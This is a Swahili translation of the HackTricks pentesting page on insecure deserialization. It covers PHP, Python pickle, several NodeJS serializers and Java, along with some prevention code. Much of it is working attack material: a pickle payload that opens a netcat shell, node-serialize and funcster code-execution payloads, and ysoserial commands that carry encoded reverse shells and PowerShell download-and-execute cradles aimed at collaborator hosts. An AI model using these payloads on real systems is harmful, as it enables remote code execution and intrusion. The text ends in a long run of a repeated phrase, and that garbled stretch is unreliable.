hacktricks/pentesting-web/deserialization
2024-03-16 12:09:19 +00:00
..
nodejs-proto-prototype-pollution Translated to Swahili 2024-02-11 02:13:58 +00:00
basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md Translated to Swahili 2024-02-11 02:13:58 +00:00
basic-java-deserialization-objectinputstream-readobject.md Translated to Swahili 2024-02-11 02:13:58 +00:00
exploiting-__viewstate-knowing-the-secret.md Translated to Swahili 2024-02-11 02:13:58 +00:00
exploiting-__viewstate-parameter.md Translated ['forensics/basic-forensic-methodology/specific-software-file 2024-02-18 14:54:02 +00:00
java-dns-deserialization-and-gadgetprobe.md Translated to Swahili 2024-02-11 02:13:58 +00:00
java-jsf-viewstate-.faces-deserialization.md Translated to Swahili 2024-02-11 02:13:58 +00:00
java-transformers-to-rutime-exec-payload.md Translated to Swahili 2024-02-11 02:13:58 +00:00
jndi-java-naming-and-directory-interface-and-log4shell.md Translated ['pentesting-web/deserialization/jndi-java-naming-and-directo 2024-03-16 12:09:19 +00:00
php-deserialization-+-autoload-classes.md Translated to Swahili 2024-02-11 02:13:58 +00:00
python-yaml-deserialization.md Translated to Swahili 2024-02-11 02:13:58 +00:00
README.md Translated to Swahili 2024-02-11 02:13:58 +00:00

Ufumaji wa Data

Jifunze ufumaji wa AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Taarifa Msingi

Ufumaji unaeleweka kama njia ya kubadilisha kitu kuwa muundo ambao unaweza kuhifadhiwa, na lengo la kuhifadhi kitu au kuwasilisha sehemu ya mchakato wa mawasiliano. Mbinu hii mara nyingi hutumiwa kuhakikisha kuwa kitu kinaweza kurejeshwa wakati mwingine, kwa kudumisha muundo na hali yake.

Ufumuzi, kwa upande mwingine, ni mchakato unaopinga ufumaji. Inahusisha kuchukua data ambayo imepangwa katika muundo maalum na kuirejesha kuwa kitu.

Ufumuzi unaweza kuwa hatari kwa sababu inawezekana kuruhusu wadukuzi kubadilisha data iliyofumwa ili kutekeleza nambari hatari au kusababisha tabia isiyotarajiwa katika programu wakati wa mchakato wa kurejesha kitu.

PHP

Katika PHP, njia maalum za kichawi hutumiwa wakati wa mchakato wa ufumaji na ufumuzi:

  • __sleep: Inaitwa wakati kitu kinapofumwa. Njia hii inapaswa kurudisha safu ya majina ya mali zote za kitu ambazo zinapaswa kufumwa. Mara nyingi hutumiwa kuweka data inayosubiri au kutekeleza kazi za kusafisha sawa.
  • __wakeup: Inaitwa wakati kitu kinapofumuliwa. Hutumiwa kurejesha uhusiano wowote wa hifadhidata ambao unaweza kuwa umepotea wakati wa ufumaji na kutekeleza kazi zingine za kuanzisha upya.
  • __unserialize: Njia hii inaitwa badala ya __wakeup (ikiwepo) wakati kitu kinapofumuliwa. Inatoa udhibiti zaidi juu ya mchakato wa ufumuzi ikilinganishwa na __wakeup.
  • __destruct: Njia hii inaitwa wakati kitu kinapokuwa karibu kuharibiwa au wakati hati inamalizika. Kawaida hutumiwa kwa kazi za kusafisha, kama kufunga vitambulisho vya faili au uhusiano wa hifadhidata.
  • __toString: Njia hii inaruhusu kitu kutendewa kama herufi. Inaweza kutumika kusoma faili au kazi zingine zinazotegemea wito wa kazi ndani yake, ikitoa uwakilishi wa maandishi wa kitu.
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

Ikiwa unatazama matokeo, unaweza kuona kuwa kazi __wakeup na __destruct huitwa wakati kitu kinapomalizika. Tafadhali kumbuka kuwa katika mafunzo kadhaa utapata kuwa kazi ya __toString inaitwa wakati unajaribu kuchapisha sifa fulani, lakini inaonekana kuwa haifanyiki tena.

{% hint style="warning" %} Njia ya __unserialize(array $data) inaitwa badala ya __wakeup() ikiwa imeanzishwa katika darasa. Inakuwezesha kufuta kielelezo kwa kutoa data iliyohifadhiwa kama safu. Unaweza kutumia njia hii kufuta mali na kutekeleza kazi zozote muhimu wakati wa kumaliza.

class MyClass {
private $property;

public function __unserialize(array $data): void {
$this->property = $data['property'];
// Perform any necessary tasks upon deserialization.
}
}

{% endhint %}

Unaweza kusoma mfano ulioelezewa wa PHP hapa: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, hapa https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf au hapa https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

PHP Deserial + Autoload Classes

Unaweza kutumia utendaji wa kiotomatiki wa PHP kusoma faili za php zisizo na kikomo na zaidi:

{% content-ref url="php-deserialization-+-autoload-classes.md" %} php-deserialization-+-autoload-classes.md {% endcontent-ref %}

Kusindika Thamani Zilizorejelewa

Ikiwa kwa sababu fulani unataka kusindika thamani kama marejeleo kwa thamani nyingine iliyosindikwa, unaweza:

<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

PHPGGC (ysoserial kwa PHP)

PHPGGC inaweza kukusaidia kuunda mizigo ya kudhuru deserializations za PHP.
Tafadhali kumbuka kuwa katika visa kadhaa huenda usiweze kupata njia ya kudhuru deserialization katika msimbo wa chanzo wa programu lakini unaweza kuwa na uwezo wa kudhuru msimbo wa nyongeza za PHP za nje.
Kwa hivyo, ikiwa unaweza, angalia phpinfo() ya seva na tafuta kwenye mtandao (na hata kwenye vifaa vya PHPGGC) baadhi ya vifaa vinavyowezekana ambavyo unaweza kudhuru.

deserialization ya metadata ya phar://

Ikiwa umepata LFI ambayo inasoma tu faili na sio kutekeleza msimbo wa php ndani yake, kwa mfano kwa kutumia kazi kama file_get_contents(), fopen(), file() au file_exists(), md5_file(), filemtime() au filesize(). Unaweza jaribu kudhuru deserialization inayotokea wakati wa kusoma faili kwa kutumia itifaki ya phar.
Kwa habari zaidi soma chapisho lifuatalo:

{% content-ref url="../file-inclusion/phar-deserialization.md" %} phar-deserialization.md {% endcontent-ref %}

Python

Pickle

Wakati kitu kinapopata unpickle, kazi ya __reduce__ itatekelezwa.
Unapodukuliwa, seva inaweza kurudisha kosa.

import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

Kwa habari zaidi kuhusu kutoroka kutoka kwa pickle jails, angalia:

{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}

Yaml & jsonpickle

Ukurasa ufuatao unaonyesha mbinu za kutumia deserialization isiyokuwa salama katika maktaba za python za yamls na unamalizika na zana ambayo inaweza kutumika kuzalisha mzigo wa deserialization wa RCE kwa Pickle, PyYAML, jsonpickle na ruamel.yaml:

{% content-ref url="python-yaml-deserialization.md" %} python-yaml-deserialization.md {% endcontent-ref %}

Uchafuzi wa Darasa (Python Prototype Pollution)

{% content-ref url="../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md" %} class-pollution-pythons-prototype-pollution.md {% endcontent-ref %}

NodeJS

JS Magic Functions

JS haina "magic" functions kama PHP au Python ambazo zitatekelezwa tu kwa kujenga kitu. Lakini ina functions ambazo hutumiwa mara kwa mara hata bila kuziita moja kwa moja kama vile toString, valueOf, toJSON.
Ikiwa unatumia deserialization unaweza kuathiri hizi functions ili kutekeleza nambari nyingine (kwa kutumia uchafuzi wa prototype) unaweza kutekeleza nambari ya aina yoyote wakati zinaitwa.

Njia nyingine ya "magic" ya kuita kazi bila kuiita moja kwa moja ni kwa kuathiri kitu ambacho kinarudishwa na kazi ya async (ahadi). Kwa sababu, ikiwa unabadilisha kitu hicho kurudi ahadi nyingine na mali iliyoitwa "then" ya aina ya kazi, itatekelezwa tu kwa sababu imerudishwa na ahadi nyingine. Fuata kiunga hiki kwa habari zaidi.

// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise(resolve => {
console.log('hello')
resolve()
})
return p
}

async function test_then() {
const p = new Promise(then => {
console.log('hello')
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

__proto__ na prototype uchafuzi

Ikiwa unataka kujifunza kuhusu mbinu hii angalia mafunzo yafuatayo:

{% content-ref url="nodejs-proto-prototype-pollution/" %} nodejs-proto-prototype-pollution {% endcontent-ref %}

node-serialize

Hii maktaba inaruhusu kufanya kazi za kisasa. Mfano:

var y = {
"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
}
var serialize = require('node-serialize');
var payload_serialized = serialize.serialize(y);
console.log("Serialized: \n" + payload_serialized);

Kitu kilichosanifishwa kitaonekana kama:

{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

Unaweza kuona katika mfano kwamba wakati kazi inaserializwa, bendera ya _$$ND_FUNC$$_ inaongezwa kwenye kitu kilichoserializwa.

Ndani ya faili node-serialize/lib/serialize.js unaweza kupata bendera hiyo hiyo na jinsi namna kanuni inavyoitumia.

Kama unavyoona katika kipande cha mwisho cha kanuni, ikiwa bendera inapatikana eval inatumika kuserializa kazi, kwa hivyo kimsingi kuingia kwa mtumiaji inatumika ndani ya kazi ya eval.

Hata hivyo, kwa kuserializa tu kazi haitatekelezwa kwa sababu itakuwa ni lazima sehemu fulani ya kanuni iwe inaita y.rce katika mfano wetu na hiyo ni isiyowezekana.
Hata hivyo, unaweza tu kubadilisha kitu kilichoserializwa kwa kuongeza mabano ili kutekeleza kiotomatiki kazi iliyoserializwa wakati kitu kinaposerializwa.
Katika kipande kijacho cha kanuni, tazama mabano ya mwisho na jinsi kazi ya unserialize itavyotekeleza kanuni kiotomatiki:

var serialize = require('node-serialize');
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
serialize.unserialize(test);

Kama ilivyoelezwa hapo awali, maktaba hii itapata nambari baada ya _$$ND_FUNC$$_ na itaitekeleza kwa kutumia eval. Kwa hiyo, ili kutekeleza nambari moja kwa moja, unaweza kufuta sehemu ya kuunda kazi na mabano ya mwisho na tu kutekeleza JS oneliner kama katika mfano ufuatao:

var serialize = require('node-serialize');
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
serialize.unserialize(test);

Unaweza kupata hapa maelezo zaidi kuhusu jinsi ya kutumia udhaifu huu.

funcster

Jambo muhimu la kuzingatia kuhusu funcster ni kutokuwepo kwa vitu vya kawaida vilivyojengwa; vipo nje ya wigo wa kupatikana. Kizuizi hiki kinazuia utekelezaji wa namna ya kuita njia kwenye vitu vilivyojengwa, na hivyo kusababisha makosa kama "ReferenceError: console is not defined" wakati amri kama console.log() au require(something) zinapotumiwa.

Licha ya kizuizi hiki, kurudisha upatikanaji kamili wa muktadha wa kimataifa, pamoja na vitu vyote vya kawaida vilivyojengwa, kunawezekana kupitia njia maalum. Kwa kutumia moja kwa moja muktadha wa kimataifa, mtu anaweza kuepuka kizuizi hiki. Kwa mfano, upatikanaji unaweza kurejeshwa kwa kutumia sehemu ifuatayo:

funcster = require("funcster");
//Serialization
var test = funcster.serialize(function() { return "Hello world!" })
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = { __js_function: 'this.constructor.constructor("console.log(1111)")()' }
funcster.deepDeserialize(desertest2)
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
funcster.deepDeserialize(desertest3)

Kwa majarida zaidi soma chanzo hiki.

serialize-javascript

Kifurushi cha serialize-javascript kimeundwa kwa ajili ya kusindika tu, na hakina uwezo wa kujenga upya data. Watumiaji wanawajibika kutekeleza njia yao wenyewe ya kujenga upya data. Matumizi moja kwa moja ya eval yanapendekezwa na mfano rasmi wa kujenga upya data iliyosindikwa:

function deserialize(serializedJavascript){
return eval('(' + serializedJavascript + ')');
}

Ikiwa kazi hii inatumika kwa kusindika tena vitu, unaweza kuitumia kwa urahisi kwa kudanganya:

var serialize = require('serialize-javascript');
//Serialization
var test = serialize(function() { return "Hello world!" });
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

Kwa majarida zaidi soma chanzo hiki.

Maktaba ya Cryo

Katika kurasa zifuatazo unaweza kupata habari kuhusu jinsi ya kutumia maktaba hii kutekeleza amri za kiholela:

Java - HTTP

Katika Java, wito wa deserialization hutekelezwa wakati wa mchakato wa deserialization. Utekelezaji huu unaweza kutumiwa na wadukuzi ambao hujenga mizigo ya hatari ambayo inasababisha wito huu, ikisababisha utekelezaji wa vitendo hatari.

Alama za Vidole

Sanduku Jeupe

Ili kutambua uwezekano wa udhaifu wa serialization katika msimbo wa chanzo, tafuta:

  • Darasa ambazo zinatekeleza kiolesura cha Serializable.
  • Matumizi ya java.io.ObjectInputStream, readObject, readUnshare kazi.

Tilia maanani zaidi:

  • XMLDecoder inayotumiwa na parameta zilizofafanuliwa na watumiaji wa nje.
  • XStream's fromXML method, hasa ikiwa toleo la XStream ni sawa au chini ya 1.46, kwani ina hatari ya masuala ya serialization.
  • ObjectInputStream iliyounganishwa na njia ya readObject.
  • Utekelezaji wa njia kama vile readObject, readObjectNodData, readResolve, au readExternal.
  • ObjectInputStream.readUnshared.
  • Matumizi ya jumla ya Serializable.

Sanduku Jeusi

Kwa ajili ya upimaji wa sanduku jeusi, tafuta saini au "Magic Bytes" maalum ambayo inaonyesha vitu vilivyoseriwa vya Java (vinavyotokana na ObjectInputStream):

  • Mfano wa hexadecimal: AC ED 00 05.
  • Mfano wa Base64: rO0.
  • Vichwa vya majibu ya HTTP na Content-type iliyowekwa kuwa application/x-java-serialized-object.
  • Mfano wa hexadecimal unaonyesha ujazo uliotangulia: 1F 8B 08 00.
  • Mfano wa Base64 unaonyesha ujazo uliotangulia: H4sIA.
  • Faili za wavuti zenye kipengele cha ugani .faces na parameta ya faces.ViewState. Kugundua mifano hii katika programu ya wavuti inapaswa kuchochea uchunguzi kama ilivyoelezwa kwa undani katika chapisho kuhusu Deserialization ya Java JSF ViewState.
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

Angalia ikiwa kuna udhaifu

Ikiwa unataka kujifunza jinsi shambulio la Deserialized la Java linavyofanya kazi, unapaswa kuangalia Deserialized ya Msingi ya Java, Deserialized ya Java DNS, na Malipo ya CommonsCollection1.

Jaribio la Sanduku Jeupe

Unaweza kuangalia ikiwa kuna programu yoyote iliyosanikishwa na udhaifu uliojulikana.

find . -iname "*commons*collection*"
grep -R InvokeTransformer .

Unaweza kujaribu kuangalia maktaba zote ambazo inajulikana kuwa na udhaifu na ambazo Ysoserial inaweza kutoa shambulio. Au unaweza kuangalia maktaba zilizotajwa kwenye Java-Deserialization-Cheat-Sheet.
Unaweza pia kutumia gadgetinspector kutafuta mnyororo wa vifaa unaoweza kudhuriwa.
Unapoendesha gadgetinspector (baada ya kuijenga), usijali juu ya onyo/makosa mengi yanayotokea na acha iishe. Itaandika matokeo yote chini ya gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Tafadhali kumbuka kuwa gadgetinspector haitaunda shambulio na inaweza kuonyesha matokeo sahihi ya uwongo.

Jaribio la Sanduku Jeusi

Kwa kutumia kifaa cha Burp gadgetprobe, unaweza kutambua maktaba zipi zinapatikana (na hata toleo). Kwa habari hii, inaweza kuwa rahisi kuchagua mzigo wa kutumia kudh exploit udhaifu.
Soma hii ili kujifunza zaidi kuhusu GadgetProbe.
GadgetProbe inalenga katika deserializations za ObjectInputStream.

Kwa kutumia kifaa cha Burp Java Deserialization Scanner, unaweza kutambua maktaba zenye udhaifu unaoweza kudhuriwa na ysoserial na kuzidhuru.
Soma hii ili kujifunza zaidi kuhusu Java Deserialization Scanner.
Java Deserialization Scanner inalenga katika deserializations za ObjectInputStream.

Unaweza pia kutumia Freddy kutambua udhaifu wa deserializations katika Burp. Programu hii itagundua udhaifu sio tu unaohusiana na ObjectInputStream bali pia udhaifu kutoka kwa maktaba za deserializations za Json na Yml. Kwa hali ya kazi, itajaribu kuthibitisha udhaifu huo kwa kutumia mzigo wa kulala au DNS.
Unaweza kupata habari zaidi kuhusu Freddy hapa.

Jaribio la Uundaji wa Mfululizo

Sio kila kitu kuhusu kuangalia ikiwa kuna maktaba zenye udhaifu zinazotumiwa na seva. Mara nyingi unaweza kubadilisha data ndani ya kitu kilichosimbwa na kuepuka ukaguzi fulani (labda kukupa mamlaka ya msimamizi ndani ya programu ya wavuti).
Ikiwa unapata kitu kilichosimbwa cha Java kinachotumwa kwa programu ya wavuti, unaweza kutumia SerializationDumper kuchapisha kwa muundo unaoweza kusomwa na binadamu kitu kilichosimbwa kinachotumwa. Kujua ni data gani unayotuma kutakuwa rahisi kubadilisha na kuepuka ukaguzi fulani.

Shambulio

ysoserial

Zana kuu ya kudhuru deserializations za Java ni ysoserial (pakua hapa). Unaweza pia kuzingatia kutumia ysoseral-modified ambayo itakuruhusu kutumia amri ngumu (kwa mfano, na mabomba).
Tafadhali kumbuka kuwa zana hii inalenga katika kudhuru ObjectInputStream.
Ningeanza kwa kutumia mzigo wa "URLDNS" kabla ya mzigo wa RCE ili kujaribu ikiwa uingizaji ni wa kawaida. Hata hivyo, kumbuka kuwa mzigo wa "URLDNS" huenda usifanye kazi lakini mzigo mwingine wa RCE unaweza.

# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

Wakati unatengeneza mzigo wa java.lang.Runtime.exec(), huwezi kutumia herufi maalum kama ">" au "|" kuhamisha matokeo ya utekelezaji, "$()" kutekeleza amri au hata kupeleka hoja kwa amri zilizotenganishwa na nafasi (unaweza kufanya echo -n "hello world" lakini huwezi kufanya python2 -c 'print "Hello world"'). Ili kuweza kuweka mzigo kwa usahihi, unaweza tumia tovuti hii.

Tumia hati ifuatayo kuunda mzigo wa utekelezaji wa nambari zote inayowezekana kwa Windows na Linux na kisha jaribu kwenye ukurasa wa wavuti ulio hatarini:

import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

serialkillerbypassgadgets

Unaweza kutumia https://github.com/pwntester/SerialKillerBypassGadgetCollection pamoja na ysoserial kuunda mbinu zaidi za kudukua. Taarifa zaidi kuhusu zana hii zinapatikana katika slaidi za mazungumzo ambapo zana ilipokuwa ikipresentiwa: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

marshalsec

marshalsec inaweza kutumika kuunda mizigo ya kudukua maktaba tofauti za usanurishaji za Json na Yml katika Java.
Ili kuunda mradi, nilihitaji kuongeza tegemezi hizi kwenye pom.xml:

<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>

Sakinisha maven, na kamilisha mradi:

sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

Soma zaidi kuhusu maktaba ya Java JSON hapa: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

Maabara

Kwa nini

Java hutumia uundaji wa tena kwa madhumuni mbalimbali kama vile:

  • Maombi ya HTTP: Uundaji wa tena hutumiwa sana katika usimamizi wa vigezo, ViewState, vidakuzi, nk.
  • RMI (Remote Method Invocation): Itifaki ya Java RMI, ambayo inategemea kabisa uundaji wa tena, ni msingi wa mawasiliano ya mbali katika programu za Java.
  • RMI juu ya HTTP: Njia hii mara nyingi hutumiwa na programu za wavuti za wateja zinazotumia Java, zikitumia uundaji wa tena kwa mawasiliano yote ya vitu.
  • JMX (Java Management Extensions): JMX hutumia uundaji wa tena kwa kuhamisha vitu kupitia mtandao.
  • Itifaki za desturi: Katika Java, mazoea ya kawaida ni kuhamisha vitu vya Java moja kwa moja, ambavyo vitadhihirishwa katika mifano ya udanganyifu inayofuata.

Kuzuia

Vitu vya muda mfupi

Darasa ambalo linatekeleza Serializable linaweza kutekeleza kama transient kwa kila kitu ndani ya darasa ambacho hakitakiwi kuwa cha uundaji wa tena. Kwa mfano:

public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient

Epuka Ufanyaji wa Mfululizo wa darasa ambalo linahitaji kutekeleza Serializable

Katika hali ambapo vitu fulani vinapaswa kutekeleza kiolesura cha Serializable kutokana na muundo wa darasa, kuna hatari ya kufanyika kwa ufananuzi usiokusudiwa. Ili kuzuia hili, hakikisha vitu hivi havifanyiki kwa ufananuzi kwa kufafanua njia ya final ya readObject() ambayo daima inatupa kosa, kama inavyoonyeshwa hapa chini:

private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}

Kuboresha Usalama wa Deserialization katika Java

Kubinafsisha java.io.ObjectInputStream ni njia ya vitendo ya kuboresha mchakato wa deserialization. Njia hii ni sahihi wakati:

  • Msimbo wa deserialization uko chini ya udhibiti wako.
  • Darasa zinazotarajiwa kwa deserialization zinajulikana.

Badilisha njia ya resolveClass() ili kuzuia deserialization kwa darasa zilizoruhusiwa tu. Hii inazuia deserialization ya darasa lolote isipokuwa zile zilizoruhusiwa wazi, kama ilivyo katika mfano ufuatao ambao unazuia deserialization kwa darasa la Bicycle pekee:

// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

Kutumia Java Agent kwa Kuboresha Usalama hutoa suluhisho la nyuma wakati marekebisho ya nambari hayawezekani. Njia hii inatumika hasa kwa kupiga marufuku darasa zenye madhara, kwa kutumia parameter ya JVM:

-javaagent:name-of-agent.jar

Inatoa njia ya kuhakikisha deserialization kwa njia ya kudumu, inayofaa kwa mazingira ambapo mabadiliko ya namna ya haraka ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya nam

